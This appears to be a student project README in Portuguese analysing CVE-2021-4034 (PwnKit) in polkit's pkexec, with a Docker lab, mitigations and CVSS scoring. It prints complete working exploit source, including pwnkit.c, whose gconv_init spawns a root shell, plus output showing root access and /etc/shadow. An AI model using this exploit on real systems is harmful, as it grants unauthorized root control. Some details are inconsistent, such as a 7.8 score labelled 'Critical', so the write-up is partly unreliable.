CVE-2021-4034 (PwnKit) - Prova de Conceito de Escalação de Privilégio Local

🔗 Projeto original: berdav/CVE-2021-4034
Este projeto é uma versão analisada e modificada com base no original para fins educacionais.
Licença MIT | Tarefa educacional da White Hat School

📋 Visão Geral

CVE-2021-4034 é uma vulnerabilidade de escalação de privilégio local no policykit-1 (PolicyKit) do Linux. Um usuário comum pode executar pkexec sem argumentos, explorar uma falha na estrutura da memória do processo e, com isso, fazer com que o glib referencie novamente strings de variáveis de ambiente que deveriam ter sido filtradas, carregando um arquivo .so malicioso e, assim, obter privilégios de root.

⚠️ Apenas para fins educacionais: Este código deve ser usado apenas em sistemas modificados.
Usá-lo para atacar sistemas reais pode acarretar responsabilidade legal.

🎯 Resumo da Vulnerabilidade

É fácil interpretar erroneamente como um problema apenas do Ubuntu, mas como é uma falha de lógica no próprio pkexec, a maioria das distribuições que usam polkit é afetada. Como o ambiente de teste Docker é Ubuntu 20.04, incluí essa versão na tabela acima.

🔴 O Núcleo da Vulnerabilidade

Quando analisei pela primeira vez, pensei que era um 'problema causado pela falta de validação de variáveis de ambiente', mas ao examinar o código-fonte e o commit do patch, percebi que a ordem era um pouco diferente. A verdadeira causa é outra, e o problema das variáveis de ambiente é mais uma consequência dessa causa. Abaixo está o fluxo organizado na ordem das causas.

1. O que é pkexec?

pkexec é um programa SUID-root que solicita escalação de privilégios através do PolicyKit.

# Exemplo: executar um comando com privilégios root
pkexec /bin/id
pkexec systemctl restart service

É usado quando um usuário comum precisa realizar tarefas específicas com privilégios administrativos.

2. A verdadeira causa raiz: pkexec não trata o caso argc == 0

A função main() do pkexec, na parte de processamento dos argumentos da linha de comando, não valida o caso em que é executado sem nenhum argumento (argc == 0). Este é o verdadeiro ponto de partida desta vulnerabilidade.

• Execução normal: argv = {"pkexec", "comando", NULL} → argc >= 1
• Execução de ataque: execve("/usr/bin/pkexec", {NULL}, env) → argc == 0

Se argc é 0, a lista argv contém apenas um NULL indicando término. No entanto, a lógica interna do pkexec tenta ler e escrever em argv[1], que não existe, mesmo nessa situação. O problema é que, quando o Linux executa um processo, ele coloca o array argv e o array envp (variáveis de ambiente) lado a lado na memória. Então, o argv[1] fora dos limites acaba apontando para envp[0], ou seja, para a primeira variável de ambiente.

Situação normal:  argv = [ "pkexec" | NULL ]
Situação de ataque:  argv = [ NULL ]                 ← argc = 0
                    ↑
             Acessa argv[1] inexistente
                    ↓
      Lê e escreve em envp[0] logo após na memória (out-of-bounds)

Por que isso é perigoso:

• Originalmente, o ld.so, antes de executar um programa SUID (pkexec), remove variáveis de ambiente perigosas como GCONV_PATH e LD_PRELOAD, considerando-as inseguras.
• No entanto, devido ao comportamento OOB acima, a string já removida não é 'restaurada como variável de ambiente', mas torna-se novamente referenciável a partir do ponteiro argv. Ou seja, o valor não renasce, mas a conexão do ponteiro que aponta para aquele valor é recriada.
• O commit do patch real corrigiu isso adicionando uma lógica de validação para encerrar imediatamente se argc < 1. (Corresponde a CWE-125 leitura fora dos limites, CWE-787 escrita fora dos limites)

📌 Em resumo: a falta de validação de variáveis de ambiente é a 'condição para o ataque funcionar', e a verdadeira causa raiz é que o pkexec não tratou o caso argc == 0. O item 3 abaixo é a consequência dessa causa.

3. Consequência: Strings que deveriam ter sido filtradas tornam-se referenciáveis novamente

Graças ao comportamento OOB descrito no item 2, essa string acaba sendo reutilizada sem validação durante o processo de inicialização do glib pelo pkexec.

// CVE-2021-4034_exploit.c
char * const env[] = {
    "GCONV_PATH=.",      // 원래는 ld.so가 걸러냈어야 함
    "CHARSET=PWNKIT",    // 존재하지 않는 인코딩
};

execve("/usr/bin/pkexec", args, env);  // argv는 비워서 argc=0을 만듦

Problema:

• Devido ao OOB do item 2, essa string se torna referenciável novamente e flui até a etapa de inicialização do glib.
• Do ponto de vista do glib, não há como distinguir se esse valor é uma variável de ambiente normal original ou se foi ressuscitada pelo atacante.

4. Exploração do mecanismo de carregamento de conversores do glib

O importante aqui é que o glib não fez nada de errado. Se GCONV_PATH está definido, procurar um conversor nesse caminho é um comportamento normal do glib. O problema é que o pkexec já quebrou o estado de execução segura (estado onde as variáveis de ambiente perigosas foram removidas) — o glib apenas agiu normalmente, mas esse comportamento normal acaba sendo explorado.

1. Verificação da variável de ambiente CHARSET

   root@kitploit:~

   CHARSET=PWNKIT
   

2. Pesquisa pela definição do conversor no arquivo gconv-modules

   root@kitploit:~

   module UTF-8// PWNKIT// pwnkit 1
   

3. Carregamento do arquivo .so a partir de GCONV_PATH

   root@kitploit:~

   GCONV_PATH=. → pesquisa por pwnkit.so no diretório atual
   

4. Execução automática da função de inicialização do arquivo .so

   root@kitploit:~

   // pwnkit.c - .so 파일 로드 시 자동으로 실행됨
   void gconv_init(void *step)
   {
       setuid(0);           // root 권한 획득
       setgid(0);
       execve("/bin/sh");   // root shell 실행!
   }
   

   É fácil chamar gconv_init de 'função construtora', mas estritamente falando, é diferente do __attribute__((constructor)) do C. Exatamente, é uma função de inicialização definida na interface do módulo gconv, e o glib a chama explicitamente depois de carregar o .so com dlopen.

5. Fluxo completo do ataque

┌─────────────────────────────────────┐
│ Usuário comum (uid=1000)            │
└─────────────────────────────────────┘
          │
          │ 1. Executa pkexec com argv vazio (argc=0)
          │    + Define variáveis de ambiente maliciosas
          │    GCONV_PATH=.  /  CHARSET=PWNKIT
          ↓
┌─────────────────────────────────────┐
│ Execução do pkexec                  │
│ Sem validação de argc → OOB →      │
│ Re-referência da string             │
└─────────────────────────────────────┘
          │
          │ 2. glib processa conforme comportamento normal
          │    Pesquisa pela codificação CHARSET=PWNKIT
          │    Encontra conversor em GCONV_PATH=.
          ↓
┌─────────────────────────────────────┐
│ Carregamento do pwnkit.so           │
│ (arquivo .so malicioso no diretório │
│  atual)                             │
└─────────────────────────────────────┘
          │
          │ 3. Execução automática da função de inicialização
          │    do gconv (privilégios root!)
          ↓
┌─────────────────────────────────────┐
│ Obtenção do shell root ✅           │
│ uid=0(root) gid=0(root)            │
└─────────────────────────────────────┘

🚀 Início Rápido

Requisitos necessários

• Docker (ou Docker Desktop)
• git
• Ambiente Linux (ou WSL 2)

Comandos de execução

# 1. Obter o projeto
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034

# 2. Verificar versão mais recente
git pull origin main

# 3. Compilar (sem cache)
docker compose build --no-cache

# 4. Executar
docker compose up

Recomendo usar docker system prune -a --volumes --force apenas quando o cache ou os volumes estiverem corrompidos e o método acima não funcionar. É um comando bastante agressivo que limpa todo o cache Docker do sistema, podendo remover também caches de outros projetos. O conteúdo relacionado está organizado separadamente na seção "Problemas Enfrentados e Soluções" abaixo.

Resultado esperado

pwnkit  | 현재 권한 (공격 전): uid=1000(WHS4_student)
pwnkit  | # id
pwnkit  | uid=0(root) gid=0(root) groups=0(root)  ← successo! ✅

Resultado real

📁 Estrutura do Projeto

WHS4_CVE-2021-4034/
├── docker-compose.yml          # Configuração do Docker Compose
├── Dockerfile                   # Ambiente Ubuntu 20.04 vulnerável
├── start.sh                     # Inicialização do contêiner e execução automática
├── Makefile                     # Configuração de compilação
├── CVE-2021-4034_exploit.c      # Código do exploit (chamada pkexec)
├── pwnkit.c                     # Arquivo .so malicioso (escalação de privilégio)
├── gconv-modules                # Mapeamento do conversor glib
├── README.md                    # Este arquivo
└── LICENSE                      # Licença MIT

💻 Análise do Código PoC

CVE-2021-4034_exploit.c

#include <unistd.h>

int main(int argc, char *argv[])
{
    // pkexec에 실행할 프로그램을 지정하지 않음
    // (args에 NULL만 있음) → 이게 곧 argc=0을 만드는 부분
    char * const args[] = {
        NULL
    };

    // 🔴 검증되지 않은 악의적 환경변수
    // argc=0으로 인한 OOB 덕분에 다시 참조 가능해져 pkexec에 그대로 전달됨
    char * const env[] = {
        "GCONV_PATH=.",          // converter 경로 (현재 디렉토리)
        "CHARSET=PWNKIT",        // 존재하지 않는 인코딩
        "SHELL=/bin/sh",
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        NULL
    };

    // pkexec 실행 (인자 없이 → argc=0 트리거)
    execve("/usr/bin/pkexec", args, env);

    return 0;
}

Ponto-chave:

• args não inclui nem mesmo o nome do próprio pkexec, fazendo com que argc seja 0 → aciona a causa raiz (falta de validação de argc)
• GCONV_PATH=. : Depois de se tornar referenciável novamente devido ao OOB, o glib pesquisa por conversores neste caminho
• CHARSET=PWNKIT : Induz o glib a procurar um conversor para esta codificação

pwnkit.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// .so 파일을 converter로 인식하기 위한 함수 (형식상 필요)
void gconv()
{
}

// 🎯 CVE-2021-4034의 핵심
// .so 파일 로드 시 glib이 dlopen 후 명시적으로 호출하는 초기화 함수
// 이 함수가 root 권한으로 실행된다! ← 핵심 취약점!
void gconv_init(void *step)
{
    char * const args[] = {
        "/bin/sh",      // root shell 실행
        NULL
    };
    char * const env[] = {
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        NULL
    };

    // root 권한 명시적 설정 (이미 root이지만)
    setuid(0);
    setgid(0);

    // root shell 실행 ← 권한 상승 성공!
    execve(args[0], args, env);

    exit(0);
}

Ponto-chave:

• gconv_init() não é um atributo construtor do C, mas uma função de inicialização que o glib chama diretamente após dlopen, de acordo com a especificação da interface do módulo gconv
• Como o pkexec é executado com privilégios root, esta função também é executada com privilégios root
• Portanto, após setuid(0), executar um shell concede um shell root diretamente

✅ Resultados da Verificação

Os resultados de verificação abaixo são baseados na implementação do ambiente e na exploração direta. Ou seja, se você usar a execução rápida, não obterá os resultados abaixo.

Se deseja obter os resultados abaixo, você deve construir o ambiente diretamente usando o Dockerfile, start.sh, etc. presentes neste repositório.

No entanto, como o start.sh e o Dockerfile foram automatizados para se adequar ao formato da tarefa, usá-los como estão pode não produzir os resultados desejados.

Portanto, você deve modificar os arquivos diretamente.

Antes do ataque

$ id
uid=1000(WHS4_student) gid=1000(WHS4_student) groups=1000(WHS4_student),27(sudo)

$ cat /etc/shadow
cat: /etc/shadow: Permission denied

Permissões reais antes do ataque

Na verdade, a captura de tela acima é do momento em que o exploit foi bem-sucedido pela primeira vez, e mostra as permissões do usuário.

Execução do ataque

$ ./CVE-2021-4034_exploit

Nota: O exploit em si não requer sudo. Como o pkexec já é um binário SUID-root, obter um shell root apenas com privilégios de usuário comum é o núcleo desta vulnerabilidade. Já usei sudo -E no ambiente de teste Docker, mas isso foi apenas para conveniência de execução ao verificar a configuração NOPASSWD, não tendo relação com a vulnerabilidade em si.

Após o ataque

# id
uid=0(root) gid=0(root) groups=0(root)

# cat /etc/shadow
root:*:18783:0:99999:7:::
daemon:*:18783:0:99999:7:::
... (root만 볼 수 있는 내용)

Permissões reais após o ataque

Acima, podemos ver que o privilégio root foi obtido após o ataque real. Se quiser ver uma visão mais geral do antes e depois do ataque, recomendo ver a imagem na seção ### Permissões reais antes do ataque acima.

✅ Escalação de privilégio bem-sucedida!

📊 Métricas de Avaliação

Reproducibility

Reprodução bem-sucedida no ambiente Docker baseado em Ubuntu 20.04 (policykit-1 0.105-26ubuntu1). Ainda não realizei muitos testes repetitivos; pretendo executar mais algumas vezes variando as versões do kernel e da distribuição para preencher os resultados.

Risk Score: 7.8 / 10.0 (Critical, CVSS 3.1 기준)

• Privilégios necessários: Não é um ataque remoto, mas local, e não contorna autenticação remota. Basta estar logado com uma conta de usuário comum, sem privilégios adicionais (Privileges Required: Low). Ou seja, não significa que 'nenhuma autenticação é necessária', mas sim que 'o login é necessário, mas nenhum privilégio adicional é necessário'.
• Vetor de ataque: Local (Attack Vector: Local) — remotamente, essa vulnerabilidade não pode ser explorada diretamente; primeiro é necessário obter acesso a um shell local.
• Escopo: Scope: Changed. Como o pkexec é executado com privilégios root através de um componente separado de gerenciamento de privilégios chamado PolicyKit, quando a vulnerabilidade é explorada, o impacto vai além do domínio de privilégio onde o ataque começou (usuário comum) e afeta outros domínios de segurança (root, todo o sistema gerenciado pelo PolicyKit). Por isso, o Scope é avaliado como Changed no CVSS.
• Fatores de impacto: Confidencialidade, Integridade e Disponibilidade (C/I/A) todos High.
• Referência: Detalhes do vetor CVSS NVD

🛡️ Métodos de Defesa

Resposta imediata

# 1. 패치 업그레이드 (권장) 
sudo apt-get update
sudo apt-get install policykit-1=0.105-26ubuntu1.1

# 버전 확인
dpkg -l | grep policykit-1
# 0.105-26ubuntu1.1 이상이어야 함

Limitação de sudo

# /etc/sudoers 수정 (sudo visudo)
Defaults env_delete = "GCONV_PATH,GCONV_MODULES,CHARSET"

Limpeza de variáveis de ambiente

unset GCONV_PATH
unset GCONV_MODULES
unset CHARSET

O patch é a solução fundamental; as duas medidas acima são mais paliativas que podem ser usadas até a aplicação do patch. A validação de argc em si só é resolvida corrigindo o código do pkexec, então apenas bloquear as variáveis de ambiente não impede completamente.

⚠️ Problemas Enfrentados e Soluções

Problema 1: comando docker-compose não encontrado

Causa: No Ubuntu 24.04, o docker-compose (v1) não existe, apenas o docker compose (v2)

Solução:

# Usar o comando docker compose (v2)
docker compose up

Problema 2: "Solicitação de senha: sudo password for WHS4_student"

Causa: A configuração NOPASSWD do Dockerfile não foi aplicada corretamente (problema de cache do Docker)

Solução:

docker compose build --no-cache
docker compose up

Se ainda não funcionar, limpe completamente o cache e tente novamente.

docker compose down -v
docker system prune -a --volumes --force
docker compose up --build --no-cache

Problema 3: Atualização do GitHub não refletida localmente

Causa: Arquivos locais mantidos na versão anterior

Solução:

# Obter a versão mais recente do GitHub
git pull origin main

# Verificar os arquivos
cat Dockerfile | grep NOPASSWD
cat start.sh | grep "nofork=false"

# Recompilar
docker compose up --build --no-cache

Problema 4: "The container name is already in use"

Causa: Contêiner existente ainda presente

Solução:

# Remover o contêiner
docker compose down
docker rm pwnkit -f

# Executar novamente
docker compose up

Problema 5: "permission denied (permissão de arquivo)"

Causa: Os arquivos criados pelo Docker têm permissão de root

Solução:

# No WSL/Linux
sudo rm -rf WHS4_CVE-2021-4034

📚 Referências e Fontes

Projeto original

• Autor: berdav
• Repositório: https://github.com/berdav/CVE-2021-4034
• Licença: MIT License
• Partes consultadas:
  • Estrutura básica do CVE-2021-4034_exploit.c
  • Implementação do gconv_init em pwnkit.c
  • Formato do arquivo gconv-modules
  • Método de construção do Makefile

Modificações e adições deste projeto

Autor: krleejihyeong

Partes escritas/modificadas:

• ✅ docker-compose.yml: Configuração do ambiente de execução Docker
• ✅ Dockerfile: Configuração automática do ambiente vulnerável (dbus, polkitd, configuração NOPASSWD)
• ✅ start.sh: Script de execução automática (automação completa da construção até a execução do ataque)
• ✅ README.md: Análise da causa raiz da vulnerabilidade (falta de validação de argc), resultados de reprodução, avaliação de risco, guia de solução de problemas
• ✅ Comentários e explicações em coreano: melhoria da compreensão da vulnerabilidade

Materiais de referência

• Qualys: Análise detalhada do CVE-2021-4034
• NVD: CVE-2021-4034
• Documentação oficial do PolicyKit

📄 Licença

Este projeto é licenciado sob a Licença MIT.

Copyright (c) 2026 krleejihyeong (modificação e análise)
Copyright (c) 2021 berdav (PoC original)

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.

Consulte o arquivo LICENSE para mais detalhes.

👤 Autor

• krleejihyeong - análise, modificação, configuração do ambiente Docker, redação da documentação
• berdav - autor do PoC original (https://github.com/berdav/CVE-2021-4034)

⚠️ Aviso Legal

Este projeto foi criado apenas para fins puramente educacionais.

• ✅ Voltado para CVE público
• ✅ Testado apenas em sistemas corrigidos
• ✅ Usado sob autorização do administrador do sistema
• ✅ Objetivo de compreensão da vulnerabilidade e fortalecimento da defesa

O acesso não autorizado a sistemas de computador pode ser punido por lei.

Última atualização: julho de 2026